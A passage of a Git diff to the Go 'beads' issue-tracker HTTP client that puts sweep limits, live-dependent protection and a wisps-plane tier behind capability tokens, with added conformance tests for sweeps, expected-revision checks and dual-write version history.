run on this client's behalf. `bd purge` from a local workspace still gets the protection; over http it must ask without it or not at all", + What: "protecting live structural dependents during a sweep used to refuse", + Why: "RETIRED by the S4 wire extension that sends it. The gap was always the DOCUMENT's rather than a decision: the local Sweeper role carries a structural-dependent protection alongside the referenced-citation one, and apigen.SweepRequest had no protect_live_dependents member for this client to narrow onto, so sending `true` and silently dropping it would have run an UNPROTECTED sweep while the caller believed the structural guard was active. " + + "The spec now publishes `protect_live_dependents` (and SweepSkips.live_dependent on the response) behind its own behavior-capability token, issues.sweep.liveDependents, because it is a parameter added to an operation that already shipped. The client sends it only once the handshake advertises the token and refuses locally, before the dial, when it does not — see refuseUnservedSweep (sweeper.go) and W-SweepRequest.Limit for the sibling member closed the same way", SpecRow: "D8 refuse-not-drop", - PinnedBy: pinnedByS3Conformance, + PinnedBy: "TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem", }, { - // Limit's absence is the same gap on the OTHER half of the request: - // bd-enterprise's wire bounded one sweep call and reported the - // remainder back; OSS's apigen.SweepRequest and SweepResult carry - // neither a limit member to send nor a remaining member to read one - // back from. A dropped Limit would run the UNBOUNDED sweep the - // caller asked to cap, in one transaction, which is the same - // widening the protection row above refuses rather than degrades. - ID: "W-SweepRequest.Limit", Kind: KindRefuse, + ID: "W-SweepRequest.Limit", Kind: KindRetired, Type: tySweepRequest, Field: "Limit", - What: "bounding one sweep call and draining a backlog over several refuses", - Why: "sweepIssues publishes no limit member and SweepResult publishes no remaining member for a bounded caller to loop on; a non-zero Limit refuses before the dial rather than running the unbounded sweep silently. issueops.SweepResult.Remaining is therefore always zero from this client — not a dropped count, since nothing bounded the call that would have left one", + What: "bounding one sweep call and draining a backlog over several used to refuse", + Why: "RETIRED by the S4 wire extension that sends it (with W-SweepRequest.ProtectLiveDependents). The local Sweeper role bounds one sweep call and reports the remainder back; apigen.SweepRequest and SweepResult carried neither a limit member to send nor a remaining member to read one back from, so a dropped Limit would have run the UNBOUNDED sweep the caller asked to cap, in one transaction. " + + "The spec now publishes `limit` on the request and `remaining` on the response behind issues.sweep.limit. The client sends Limit only once the handshake advertises that token and refuses locally otherwise; issueops.SweepResult.Remaining now carries the server's count rather than always reading zero", SpecRow: "D8 refuse-not-drop", - PinnedBy: pinnedByS3Conformance, + PinnedBy: "TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem", }, } } diff --git a/internal/httpclient/expected_revision_contract_test.go b/internal/httpclient/expected_revision_contract_test.go new file mode 100644 index 000000000..1c79a0559 --- /dev/null +++ b/internal/httpclient/expected_revision_contract_test.go @@ -0,0 +1,58 @@ +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestExpectedRevisionContract wires the http leg into the R16/R17 +// expected-revision contract, the same way dolt, embeddeddolt and uow do +// (see internal/storage/dolt/expected_revision_contract_test.go). Phase 0 +// leaves every hook nil in every backend's fixture kit (architecture §12 of +// be-hs42e.1), so this client — which implements no whole-of-state +// expectedRevision CAS wire operation, and has none to implement until that +// phase ships one — is in exactly the same all-nil state every other leg +// already is. Said honestly: these ten entrypoints are COUNTED here, the +// hook is UNBUILT ON EVERY LEG (not just this one), and every case below +// SKIPS as a result (each Run* helper calls t.Skip when +// CompareAndSetVersion is nil) — this file exists so +// TestEveryLegWiresEveryRoleContract counts the http leg for these ten +// entrypoints, and so the cases start running for real the moment a +// CompareAndSetVersion wire operation exists for this client to bind here. +func TestExpectedRevisionContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.ExpectedRevisionFixture{IssuePrefix: "herev"} + + t.Run("AcceptsAWriteNamingTheCurrentVersion", func(t *testing.T) { + conformance.RunExpectedRevisionAcceptsAWriteNamingTheCurrentVersion(t, ctx, fixture) + }) + t.Run("AcceptsAWriteNamingNoVersion", func(t *testing.T) { + conformance.RunExpectedRevisionAcceptsAWriteNamingNoVersion(t, ctx, fixture) + }) + t.Run("CoversFieldsOutsideAnyWatchedSubset", func(t *testing.T) { + conformance.RunExpectedRevisionCoversFieldsOutsideAnyWatchedSubset(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionAddress", func(t *testing.T) { + conformance.RunRefusalReportsTheRefusingVersionAddress(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionsChangeAttribution", func(t *testing.T) { + conformance.RunRefusalReportsTheRefusingVersionsChangeAttribution(t, ctx, fixture) + }) + t.Run("RefusalIsATypedOutcomeNotAGenericError", func(t *testing.T) { + conformance.RunRefusalIsATypedOutcomeNotAGenericError(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromAnAcceptedWrite", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromAnAcceptedWrite(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromNotFound", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromNotFound(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromValidationFailure", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromValidationFailure(t, ctx, fixture) + }) + t.Run("RefusalNeverSilentlyPicksAWinner", func(t *testing.T) { + conformance.RunRefusalNeverSilentlyPicksAWinner(t, ctx, fixture) + }) +} diff --git a/internal/httpclient/roles_test.go b/internal/httpclient/roles_test.go index d821d104e..4aa353544 100644 --- a/internal/httpclient/roles_test.go +++ b/internal/httpclient/roles_test.go @@ -304,8 +304,18 @@ func TestWriteRoleRefusalsMatchTheReadShape(t *testing.T) { if err != nil { t.Fatalf("Sweeper(): %v", err) } + // Since S4 the wire carries limit, gated by issues.sweep.limit: a + // server that does not advertise it refuses pre-dial with a capability + // refusal, which classifies as *storage.ErrUnsupported naming the token + // (not an encoder refusal, so not *InexpressibleError). _, err = sweeper.Sweep(ctx, issueops.SweepRequest{Tier: "ephemeral", Limit: 5}) - assertUnsupported(t, err, "Sweeper.Sweep") + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Backend != Backend { + t.Fatalf("got %v, want *storage.ErrUnsupported for this backend", err) + } + if unsup.Capability != wire.CapSweepLimit { + t.Errorf("the refusal names capability %q, want %q", unsup.Capability, wire.CapSweepLimit) + } if len(w.dispatched) != 0 { t.Errorf("a refused sweep dialed %v", w.dispatched) } diff --git a/internal/httpclient/served_bulk_test.go b/internal/httpclient/served_bulk_test.go index 6a02fed37..03bfb4870 100644 --- a/internal/httpclient/served_bulk_test.go +++ b/internal/httpclient/served_bulk_test.go @@ -64,6 +64,17 @@ func newServedSweeperFixture(t *testing.T, prefix string) conformance.SweeperFix // served store reaches the shape through the embedded database behind // the server and then exercises the sweep over the wire as usual. Exec: env.exec, + AddDependencies: func(ctx context.Context, req issueops.AddDependenciesRequest) error { + // Through the DependencyEditor ROLE, which routes each edge to its + // source plane's dependency table itself — the same seam + // dolt/uow/embeddeddolt's own sweeper fixtures use. + editor, err := env.subject.DependencyEditor() + if err != nil { + return err + } + _, err = editor.AddDependencies(ctx, req) + return err + }, } } @@ -119,6 +130,36 @@ func TestServedSweeperDoesNotMutateTheCallerRequest(t *testing.T) { conformance.RunSweeperDoesNotMutateTheCallerRequest(t, t.Context(), newServedSweeperFixture(t, "hs10")) } +// The S4 wire extension: tier: "wisps-plane", ProtectLiveDependents and Limit +// all now have a round trip (internal/httpapi/sweep.go, internal/httpclient/ +// sweeper.go), each behind its own capability token the served harness's +// in-process handshake always advertises, so these six run for real rather +// than parking. + +func TestServedSweeperWispsPlaneClearsTheWholeWispsTable(t *testing.T) { + conformance.RunSweeperWispsPlaneClearsTheWholeWispsTable(t, t.Context(), newServedSweeperFixture(t, "hs13")) +} + +func TestServedSweeperWispsPlaneRequiresAFilter(t *testing.T) { + conformance.RunSweeperWispsPlaneRequiresAFilter(t, t.Context(), newServedSweeperFixture(t, "hs14")) +} + +func TestServedSweeperProtectsLiveDependents(t *testing.T) { + conformance.RunSweeperProtectsLiveDependents(t, t.Context(), newServedSweeperFixture(t, "hs15")) +} + +func TestServedSweeperProtectsTransitiveLiveDependents(t *testing.T) { + conformance.RunSweeperProtectsTransitiveLiveDependents(t, t.Context(), newServedSweeperFixture(t, "hs16")) +} + +func TestServedSweeperProtectsLiveDependentsAcrossPlanes(t *testing.T) { + conformance.RunSweeperProtectsLiveDependentsAcrossPlanes(t, t.Context(), newServedSweeperFixture(t, "hs17")) +} + +func TestServedSweeperLimitTakesTheOldestClosedFirst(t *testing.T) { + conformance.RunSweeperLimitTakesTheOldestClosedFirst(t, t.Context(), newServedSweeperFixture(t, "hs18")) +} + // ── Deleter ───────────────────────────────────────────────────────────────── func newServedDeleterFixture(t *testing.T, prefix string) conformance.DeleterFixture { diff --git a/internal/httpclient/served_claim_lifecycle_test.go b/internal/httpclient/served_claim_lifecycle_test.go index 79e2c8ded..77a995752 100644 --- a/internal/httpclient/served_claim_lifecycle_test.go +++ b/internal/httpclient/served_claim_lifecycle_test.go @@ -431,6 +431,33 @@ func TestServedLifecycleUpdatePreservesTheCreationStamp(t *testing.T) { conformance.RunLifecycleUpdatePreservesTheCreationStamp(t, t.Context(), newServedUpdateFixture(t, "hlcs")) } +// Two of the four ExpectedVersion concurrency races, run for real over this +// wire: N goroutines dial N concurrent HTTP requests against the same +// in-process server, racing the same --if-revision token. +// precondition_failed decodes to storage.ErrVersionMismatch +// (internal/httpclient/wire/problem.go), the same sentinel +// storage.ErrVersionMismatch aliases to (internal/storage/storage.go), so +// errors.Is resolves identically whether the loser learned it locally or over +// http. +// +// The other two of the four race IssuePatch.SpecID/.AwaitID/.Owner updates +// against each other (RunLifecycleUpdateExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency, +// RunLifecycleUpdateExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency), +// and stay off this leg: those three fields are refused on updateIssue by +// name (W-IssuePatch.SpecID, W-IssuePatch.AwaitID, W-IssuePatch.Owner, +// internal/httpclient/encode/ledger.go), a pre-existing D8 refuse-not-drop +// decision this slice does not reopen, not a race outcome the wire could +// report correctly — see issuePatchFieldsNotOnUpdateWireWaiverReason +// (internal/storage/leg_contract_wiring_test.go). + +func TestServedLifecycleUpdateExpectedVersionSingleWinnerUnderConcurrency(t *testing.T) { + conformance.RunLifecycleUpdateExpectedVersionSingleWinnerUnderConcurrency(t, t.Context(), newServedUpdateFixture(t, "hlvu")) +} + +func TestServedLifecycleCloseExpectedVersionSingleWinnerUnderConcurrency(t *testing.T) { + conformance.RunLifecycleCloseExpectedVersionSingleWinnerUnderConcurrency(t, t.Context(), newServedUpdateFixture(t, "hlvc")) +} + // The THREE claim-and-override cases below RUN, and left the park population // together, with the #7247 review port: `claim`, `force_assignee_transfer` and // `force_close_policy` are top-level members of updateIssue's body (the first diff --git a/internal/httpclient/served_dualwrite_history_test.go b/internal/httpclient/served_dualwrite_history_test.go new file mode 100644 index 000000000..a6d7acf58 --- /dev/null +++ b/internal/httpclient/served_dualwrite_history_test.go @@ -0,0 +1,147 @@ +//go:build cgo + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The DualWriteFixture contracts, run through client → in-process bd serve → +// reference store, the same shape as the other served fixtures in this +// package. +// +// Mutate and MutateAsNoOp are bound to the CLIENT'S Lifecycle role (Create and +// Update over the wire), not to the reference store: the contract is a claim +// about what a client-driven mutation causes the SERVER to record, and a +// fixture that seeded through the reference store would only prove the +// storage engine versions its own direct writes, which the dolt/embeddeddolt/ +// uow legs already cover. CurrentRevision, VersionRowCount and +// LatestVersionAttribution read the REFERENCE store's raw columns, the same +// as every other served fixture's postcondition hooks (served_issue_operations_test.go's +// doc comment states the rule this follows: a postcondition reads the row +// directly, never through a role, so a column the read side does not project +// still gets checked). +// +// Each fixture gets its OWN env (newServedEnv), never the shared +// composition: storage.VersionedHistoryConfigurer is a knob on the reference +// store instance the server's roles are bound to, and flipping it on a store +// any other test shares would start minting issue_versions rows underneath +// cases that never asked for them. + +func newServedDualWriteFixture(t *testing.T, prefix string, enabled bool) conformance.DualWriteFixture { + t.Helper() + env := newServedEnv(t, prefix) + configurer, ok := any(env.reference).(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("%T does not implement storage.VersionedHistoryConfigurer", env.reference) + } + configurer.SetVersionedHistoryEnabled(enabled) + + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + return conformance.DualWriteFixture{ + IssuePrefix: env.prefix, + Mutate: func(ctx context.Context, id string) error { + _, err := lifecycle.Create(ctx, issueops.CreateRequest{ + Actor: "writer", + ForceIDPrefix: true, + Issue: &types.Issue{ + ID: id, Title: "t-" + id, Status: types.StatusOpen, + Priority: 1, IssueType: types.TypeTask, + }, + }) + return err + }, + // Re-sets Title to the exact value Mutate already gave it, so + // issueops.DiscardNoopIssueUpdates discards it before it ever reaches + // RecordVersionInTx — the same shape the uow leg's own + // newUOWDualWriteFixture uses for the identical reason. + MutateAsNoOp: func(ctx context.Context, id string) error { + _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", + IssueID: id, + Patch: issueops.IssuePatch{Title: set("t-" + id)}, + }) + return err + }, + CurrentRevision: func(ctx context.Context, id string) (int64, error) { + var revision int64 + err := env.queryScalar(ctx, "SELECT current_revision FROM issues WHERE id = ?", []any{id}, &revision) + return revision, err + }, + VersionRowCount: func(ctx context.Context, id string) (int, error) { + var count int + err := env.queryScalar(ctx, "SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?", []any{id}, &count) + return count, err + }, + LatestVersionAttribution: func(ctx context.Context, id string) (actor, agent, message string, err error) { + err = env.queryScalar(ctx, ` + SELECT COALESCE(change_actor, ''), COALESCE(change_agent, ''), COALESCE(change_message, '') + FROM issue_versions + WHERE issue_id = ? + ORDER BY revision DESC + LIMIT 1`, []any{id}, &actor, &agent, &message) + return actor, agent, message, err + }, + } +} + +func TestServedDualWriteContract(t *testing.T) { + ctx := t.Context() + fixture := newServedDualWriteFixture(t, "hdw", true) + + t.Run("MintsOneVersionRowPerAcceptedMutation", func(t *testing.T) { + conformance.RunDualWriteMintsOneVersionRowPerAcceptedMutation(t, ctx, fixture) + }) + t.Run("NoOpMutationMintsNoRow", func(t *testing.T) { + conformance.RunDualWriteNoOpMutationMintsNoRow(t, ctx, fixture) + }) + t.Run("AttributionIsRecordedWithTheMutation", func(t *testing.T) { + conformance.RunDualWriteAttributionIsRecordedWithTheMutation(t, ctx, fixture) + + // The shared contract above only asserts change_actor is non-empty, + // since each leg's Mutate closure supplies a different literal. This + // fixture's Mutate always sends Actor: "writer" (see + // newServedDualWriteFixture below), so the http leg can assert the + // exact value rather than merely "something was recorded". + id := fixture.IssuePrefix + "-attribution-exact" + if err := fixture.Mutate(ctx, id); err != nil { + t.Fatalf("mutating %s: %v", id, err) + } + actor, _, _, err := fixture.LatestVersionAttribution(ctx, id) + if err != nil { + t.Fatalf("reading attribution for %s: %v", id, err) + } + if actor != "writer" { + t.Errorf("change_actor = %q, want exactly %q: this fixture's Mutate always sends Actor: %q", actor, "writer", "writer") + } + }) + t.Run("CurrentRevisionMatchesTheNewVersionRow", func(t *testing.T) { + conformance.RunDualWriteCurrentRevisionMatchesTheNewVersionRow(t, ctx, fixture) + }) + t.Run("NoOpMutationLeavesThePriorVersionRowUnperturbed", func(t *testing.T) { + conformance.RunDualWriteNoOpMutationLeavesThePriorVersionRowUnperturbed(t, ctx, fixture) + }) +} + +// TestServedDualWriteContractFlagOff runs FR-7 against an env whose reference +// store has the flag OFF from the start — its own env, not the one above, so +// "flag off" means what FR-7 promises rather than "not yet turned on this +// session". +func TestServedDualWriteContractFlagOff(t *testing.T) { + ctx := t.Context() + fixture := newServedDualWriteFixture(t, "hdwoff", false) + + t.Run("FlagOffProducesNoVersionRows", func(t *testing.T) { + conformance.RunDualWriteFlagOffProducesNoVersionRows(t, ctx, fixture) + }) +} diff --git a/internal/httpclient/sweeper.go b/internal/httpclient/sweeper.go index d4ab51999..28b0e9785 100644 --- a/internal/httpclient/sweeper.go +++ b/internal/httpclient/sweeper.go @@ -4,25 +4,28 @@ package httpclient import ( "context" + "slices" "strings" "github.com/steveyegge/beads/internal/httpapi/apigen" - "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" "github.com/steveyegge/beads/issueops" ) // httpSweeper serves issueops.Sweeper from the sweepIssues custom method // (design D8 row 12) — the capability behind `bd purge` and `bd prune`. // -// The mapping is NOT total, unlike bd-enterprise's: OSS's apigen.SweepRequest -// publishes tier, closed_before, pattern, protect_referenced, dry_run and -// actor, with no member for ProtectLiveDependents or Limit, and -// apigen.SweepResult carries no remaining member for SweepResult.Remaining to -// decode out of. Both refuse before the dial (W-SweepRequest.ProtectLiveDependents, -// W-SweepRequest.Limit) rather than silently running an unprotected or -// unbounded sweep, so SweepResult.Remaining is always zero from this client — -// never a dropped count, since a Limit refuses before anything could be left -// over to report. +// S4 closed three gaps this client had against the local Sweeper role: the +// wire now carries `tier: "wisps-plane"`, `protect_live_dependents` and +// `limit` on the +// request, and `skipped.live_dependent`/`remaining` on the response — each +// behind its own behavior-capability token (CapSweepWispsPlane, +// CapSweepLiveDependents, CapSweepLimit), since each is a parameter added to +// an operation that already shipped. refuseUnservedSweep checks all three +// before the dial, exactly as counter.go's refuseUnservedScope does for +// Count's scope fields: a caller asking for something an older server +// predates learns that LOCALLY, never after a round trip that would 400 +// anyway, and never by way of a silently unprotected or unbounded sweep. // // WHAT IS NOT DECIDED HERE, deliberately: the require-a-filter gate, the glob's // well-formedness and the tier's own predicate. All three are the ROLE's, they @@ -54,28 +57,30 @@ var _ issueops.Sweeper = (*httpSweeper)(nil) // is the same failure class refuse-not-drop exists to stop, in the other // direction. func (s *httpSweeper) Sweep(ctx context.Context, req issueops.SweepRequest) (result issueops.SweepResult, err error) { - // Decorates ProtectLiveDependents/Limit's bare *encode.RefusedError into the - // same *InexpressibleError shape a read refusal gets, so errors.As(err, - // &unsupported) reaches *storage.ErrUnsupported here too (write-side parity, - // see (*Store).inexpressible's doc). A non-refusal error passes through - // unchanged. + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. No + // Sweep path raises one today — refuseUnservedSweep's capability errors + // pass through unchanged — so this is the write-role convention's single + // defer, kept so the next refuse() here is decorated without a new one. defer func() { err = s.store.inexpressible("Sweeper.Sweep", err) }() - // Refuse-not-drop on the two members this wire has no place for. Both - // checks run before the tier is even validated, for the same reason every - // other raw refusal here precedes the dial: a caller who asked for a - // protection or a bound this client cannot honor must not learn that only - // after an unprotected or unbounded sweep already ran. - if req.ProtectLiveDependents { - return issueops.SweepResult{}, refuse(encode.OpSweepIssues, "W-SweepRequest.ProtectLiveDependents") - } - if req.Limit != 0 { - return issueops.SweepResult{}, refuse(encode.OpSweepIssues, "W-SweepRequest.Limit") - } - tier := apigen.SweepRequestTier(req.Tier) if !tier.Valid() { - return issueops.SweepResult{}, invalid("sweep tier %q is not %q or %q", - string(req.Tier), apigen.Ephemeral, apigen.Durable) + return issueops.SweepResult{}, invalid("sweep tier %q is not %q, %q, or %q", + string(req.Tier), apigen.Ephemeral, apigen.Durable, apigen.WispsPlane) + } + + // refuseUnservedSweep is the pre-dial half of the three Sweep behavior + // tokens (routes.go, beside CapIssuesSweepWispsPlane): a request naming + // the wisps-plane tier, or setting ProtectLiveDependents or Limit, asks + // for something only a server advertising the matching token answers, and + // an older server predating it answers with a guaranteed 400 + // invalid_value/unknown_parameter. Checked BEFORE the dial so a caller + // never pays for a round trip that 400s anyway, and never silently gets an + // unprotected or unbounded sweep from a server too old to honor the + // request as asked. + if err := s.refuseUnservedSweep(ctx, tier, req); err != nil { + return issueops.SweepResult{}, err } body := apigen.SweepRequest{ @@ -101,6 +106,13 @@ func (s *httpSweeper) Sweep(ctx context.Context, req issueops.SweepRequest) (res cutoff := *req.ClosedBefore body.ClosedBefore = &cutoff } + if req.ProtectLiveDependents { + body.ProtectLiveDependents = &req.ProtectLiveDependents + } + if req.Limit != 0 { + limit := int64(req.Limit) + body.Limit = &limit + } res, err := s.wire.SweepIssues(ctx, body) if err != nil { @@ -109,6 +121,32 @@ func (s *httpSweeper) Sweep(ctx context.Context, req issueops.SweepRequest) (res return sweepResult(res), nil } +// refuseUnservedSweep checks each of the three S4 additions against the +// handshake snapshot, independently — a caller may ask for any subset of +// them, and an older server may serve none, some, or (not yet, but +// structurally possible) only some of the three. A request using none of +// them never consults the snapshot at all, the same short-circuit +// refuseUnservedScope uses for Count. +func (s *httpSweeper) refuseUnservedSweep(ctx context.Context, tier apigen.SweepRequestTier, req issueops.SweepRequest) error { + if tier != apigen.WispsPlane && !req.ProtectLiveDependents && req.Limit == 0 { + return nil + } + snap, err := s.store.snapshot(ctx) + if err != nil { + return err + } + if tier == apigen.WispsPlane && !slices.Contains(snap.Capabilities, wire.CapSweepWispsPlane) { + return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepWispsPlane) + } + if req.ProtectLiveDependents && !slices.Contains(snap.Capabilities, wire.CapSweepLiveDependents) { + return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepLiveDependents) + } + if req.Limit != 0 && !slices.Contains(snap.Capabilities, wire.CapSweepLimit) { + return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepLimit) + } + return nil +} + // sweepResult projects the wire's answer onto the role's. // // It is a field list rather than a cast because SweepResult is deliberately not @@ -132,6 +170,12 @@ func sweepResult(res *apigen.SweepResult) issueops.SweepResult { Unreadable: res.Skipped.Unreadable, }, } + if res.Skipped.LiveDependent != nil { + out.Skipped.LiveDependent = *res.Skipped.LiveDependent + } + if res.Remaining != nil { + out.Remaining = int(*res.Remaining) + } if res.ReferencedIds != nil { out.ReferencedIDs = append([]string(nil), *res.ReferencedIds...) } diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index 5e9425ede..13b10b586 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -161,6 +161,40 @@ const CapCountScope = "issues.count.scope" // token gates. const CapBatchApplyLarge = "issues.batchApplyLarge" +// CapSweepWispsPlane is the behavior capability announcing that sweepIssues +// accepts `tier: "wisps-plane"` — a third tier, wider than ephemeral or +// durable, that clears the whole wisps table plus any durable bead with no +// history row — spelled exactly as httpapi's constant of the same name (held +// to it by TestTheProjectIdentityVocabularyMatchesTheServer). sweeper.go's +// tier mapping checks this token before mapping issueops.SweepWispsPlane onto +// the wire, refusing locally with a typed capability error rather than +// dialing a server that would answer the value with invalid_value. See +// W-SweepRequest.ProtectLiveDependents and W-SweepRequest.Limit (encode/ +// ledger.go) for the sibling S4 members retired the same way; the tier value +// itself carries no ledger row because it widens an existing enum rather +// than adding a request member. +const CapSweepWispsPlane = "issues.sweep.wispsPlane" + +// CapSweepLiveDependents is the behavior capability announcing that +// sweepIssues honors SweepRequest.protect_live_dependents and answers +// SweepSkips.live_dependent, spelled exactly as httpapi's constant of the +// same name (held to it by TestTheProjectIdentityVocabularyMatchesTheServer). +// sweeper.go reads this token before sending the field, refusing locally with +// a typed capability error rather than silently dropping the protection +// against an older server. encode/ledger.go's W-SweepRequest.ProtectLiveDependents +// row records the S4 closure of what used to be a permanent refusal. +const CapSweepLiveDependents = "issues.sweep.liveDependents" + +// CapSweepLimit is the behavior capability announcing that sweepIssues honors +// SweepRequest.limit and answers SweepResult.remaining, spelled exactly as +// httpapi's constant of the same name (held to it by +// TestTheProjectIdentityVocabularyMatchesTheServer). sweeper.go reads this +// token before sending the field, refusing locally with a typed capability +// error rather than silently running an unbounded sweep against an older +// server. encode/ledger.go's W-SweepRequest.Limit row records the S4 closure +// of what used to be a permanent refusal. +const CapSweepLimit = "issues.sweep.limit" + // CapExternalDependencies is the CONDITIONAL behavior capability announcing // that the ready, claim and close operations of this server apply bd's // external-dependency policy themselves, spelled exactly as httpapi's constant @@ -193,7 +227,16 @@ const CapExternalDependencies = "policy.external_dependencies" // (problem.go's WireRevisionUnsupportedError) instead of answering with a // shape this build was never compiled to read. It doubles as the upper bound // of the handshake gate below: nothing compiled against revision 2 can -// promise to decode revision 3. +// promise to decode a FUTURE, non-additive revision 3. +// +// S4 added SweepRequest.protect_live_dependents, SweepRequest.limit and a +// wisps-plane SweepRequest.tier value, none of which bumped +// CurrentWireRevision (internal/httpapi/wireshape's drift gate tracks a +// request-only member's enum widening as additive, not a wire break — see +// that package's Sides/widensAdditively), so this constant stays 2 too: a +// revision-2 client (this one, and the S2 client already on main) must keep +// talking to a revision-2 server rather than refusing it over a bump nothing +// here required. const ClientWireRevision = 2 // ClientMinWireRevision is the oldest SERVER-reported wire_revision this @@ -289,7 +332,10 @@ func (e *WireRevisionSkewError) Unwrap() error { return ErrWireRevisionSkew } // union(opCapability tokens, this) set-equal with httpapi.Capabilities(), which is // what makes the server change and this client change land together: the parity // test goes red the moment one ships without the other. -var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope} +var behaviorCapabilities = []string{ + CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope, + CapSweepWispsPlane, CapSweepLiveDependents, CapSweepLimit, +} // CapabilityFor reports the capability token gating op, and whether op is on // this client's map at all. An operation with no token — liveness, the diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index 4db0f3813..1bee3f45c 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -149,6 +149,15 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { if CapBatchApplyLarge != httpapi.CapBatchApplyLarge { t.Errorf("CapBatchApplyLarge = %q, server says %q", CapBatchApplyLarge, httpapi.CapBatchApplyLarge) } + if CapSweepWispsPlane != httpapi.CapIssuesSweepWispsPlane { + t.Errorf("CapSweepWispsPlane = %q, server says %q", CapSweepWispsPlane, httpapi.CapIssuesSweepWispsPlane) + } + if CapSweepLiveDependents != httpapi.CapIssuesSweepLiveDependents { + t.Errorf("CapSweepLiveDependents = %q, server says %q", CapSweepLiveDependents, httpapi.CapIssuesSweepLiveDependents) + } + if CapSweepLimit != httpapi.CapIssuesSweepLimit { + t.Errorf("CapSweepLimit = %q, server says %q", CapSweepLimit, httpapi.CapIssuesSweepLimit) + } if ReasonProjectMismatch != string(httpapi.ReasonProjectMismatch) { t.Errorf("ReasonProjectMismatch = %q, server says %q", ReasonProjectMismatch, httpapi.ReasonProjectMismatch) } @@ -183,8 +192,12 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { // literal is spelled out member by member rather than compared against the // server's own slice: a mirror checked against the thing it mirrors passes // however both of them move. - if !slices.Equal(behaviorCapabilities, []string{httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope}) { - t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort and issues.count.scope tokens", behaviorCapabilities) + if !slices.Equal(behaviorCapabilities, []string{ + httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope, + httpapi.CapIssuesSweepWispsPlane, httpapi.CapIssuesSweepLiveDependents, httpapi.CapIssuesSweepLimit, + }) { + t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort, "+ + "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents and issues.sweep.limit tokens", behaviorCapabilities) } } diff --git a/internal/httpclient/write_ledger_test.go b/internal/httpclient/write_ledger_test.go index cac9105ad..29967f9c0 100644 --- a/internal/httpclient/write_ledger_test.go +++ b/internal/httpclient/write_ledger_test.go @@ -373,21 +373,23 @@ func writeShapes() []writeShape { }, }, { - // NOT total, unlike bd-enterprise's: OSS's apigen.SweepRequest has - // no member for ProtectLiveDependents or Limit, so both are absent - // from carried below and the source -> wire arm obliges the two - // W-SweepRequest rows (W-SweepRequest.ProtectLiveDependents, - // W-SweepRequest.Limit) rather than a member. + // S4 extended the sweep carriage: apigen.SweepRequest now + // publishes protect_live_dependents and limit too, each carried + // by the role field of the same name (behind + // CapSweepLiveDependents and CapSweepLimit respectively — + // see sweeper.go's refuseUnservedSweep). name: "sweepIssues", source: reflect.TypeOf(issueops.SweepRequest{}), body: reflect.TypeOf(apigen.SweepRequest{}), carried: map[string]carriage{ - "Actor": member("actor"), - "Tier": member("tier"), - "ClosedBefore": member("closed_before"), - "IDPattern": member("pattern"), - "ProtectReferenced": member("protect_referenced"), - "DryRun": member("dry_run"), + "Actor": member("actor"), + "Tier": member("tier"), + "ClosedBefore": member("closed_before"), + "IDPattern": member("pattern"), + "ProtectReferenced": member("protect_referenced"), + "DryRun": member("dry_run"), + "ProtectLiveDependents": member("protect_live_dependents"), + "Limit": member("limit"), }, }, { diff --git a/internal/storage/contract_leg_registry_test.go b/internal/storage/contract_leg_registry_test.go index 8bd0d99d8..ab6a4a523 100644 --- a/internal/storage/contract_leg_registry_test.go +++ b/internal/storage/contract_leg_registry_test.go @@ -50,25 +50,9 @@ func init() { registerContractLeg(contractLeg{name: "embeddeddolt", wiringRoot: "internal/storage/embeddeddolt"}) registerContractLeg(contractLeg{name: "uow", wiringRoot: "internal/storage/uow"}) registerContractLeg(contractLeg{ - name: "http", - wiringRoot: "internal/httpclient", - adopting: "S3 wires every read role (IssueReader, Counter, ReadyCounter, GraphCounter, EdgeReader, " + - "Relations, BlockingAnnotator, TreeWalker, 